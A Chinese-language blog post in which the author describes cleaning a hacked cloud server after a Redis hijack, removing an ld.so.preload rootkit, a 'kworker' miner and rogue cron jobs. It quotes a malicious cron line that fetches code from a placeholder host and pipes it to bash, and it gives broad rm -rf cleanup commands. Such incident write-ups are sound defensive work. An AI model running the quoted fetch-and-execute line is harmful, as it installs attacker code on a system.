这几天很蛋疼,很是很是的疼。 阿里云服务器总被黑,权限也禁了,该弄的都弄了,仍是被黑....redis
只能怪本身不是个专职的运维...诶...apache
整体状态: 服务器被绑,放了后门程序,各类挖矿...丧心病狂...为何中国这么不重视互联网呢?不嘴炮了。bash
由于我的运维技术不到位,目前只发现一点点蛛丝马迹...服务器
redis配置文件被篡改, redis被存入curl命令,配置文件被指定写入路径。总之,请检查redis配置文件与dump.rdb文件,与原文件对比是否被篡改了。值得注意的是,log日志路径若是是空,基本上说明,redis被绑架了运维
若是判定redis被绑了,必定要删除掉redis的镜像文件。要搜索全盘!就算你不删除掉,它也会无限读取镜像,覆盖掉你redis中的数据。curl
/etc/ld.so.preload;这个文件,不管服务器执行什么命令,它都会先执行一次。很恶心啊。不知道如何搞掉它。 /usr/local/lib/libntp.so;这个文件,是上面/etc/ld.so.preload里面所指定的一个程序。效果,应该是查看进程时没法发现cup占用率,篡改了底层监控什么什么的。阿里云
这两个文件,也多是其余的名称或路径....url
最后,root用户下的contab -e ,与/etc/cron.d/root的配置~看一下,是否是已经有你不认识的任务啦?日志
找到crontab -e 中的地址,找出它所属的ip,禁掉它。code
找到挖矿程序,干掉它 /etc/rc.d/init.d/kworker /usr/sbin/kworker
再删掉/etc/ld.so.preload;/usr/local/lib/libntp.so;/etc/rc.d/init.d/kworker;/usr/sbin/kworker以后,深度睡眠的程序会启动 使用下面命令,查出干坏事的ip
lsof -c 命令名称或者绝对路径 -c apache
禁止某ip访问或访问某ip
iptables -A OUTPUT -d 192.168.1.11 -j REJECT
iptables -A INPUT -d 192.168.1.11 -j REJECT
而后再查看一下你的/tmp中,是否有不认识的文件,宰掉~
查找出全部kworker相关的,删掉
find / -name *kworker* | xargs rm -rf
最后:
systemctl stop kworker.service systemctl is-enabled kworker.service;echo $? find / -name *kworker* | xargs rm -rf
若是 /usr/bin/kworkerds 文件还会自动生成,那就给它造个假的,而后0权限。给个无用用户权限。
删除掉/etc/cron.d/下的root文件与system文件,这两个文件应该是罪魁祸首
查看/etc/cron的其余文件或cron文件夹下的其余文件。看是否有相似
curl -fsSL https://xxx || wget -q -O- https://xxx|base64 -d |/bin/bash
的内容。
譬如:/etc/crontab;/ect/cron.daily/下的某一文件;等等,全部的定时任务都要检查。有问题的,比对一下,确认后,干掉。
还要注意下:是否有这个文件 /usr/bin/httpdns 或 /bin/httpdns ,干掉
以上,基本就能够解决redis被劫持问题。
时间紧,很少些,至少本身能懂。你们要是看不懂...欢迎提问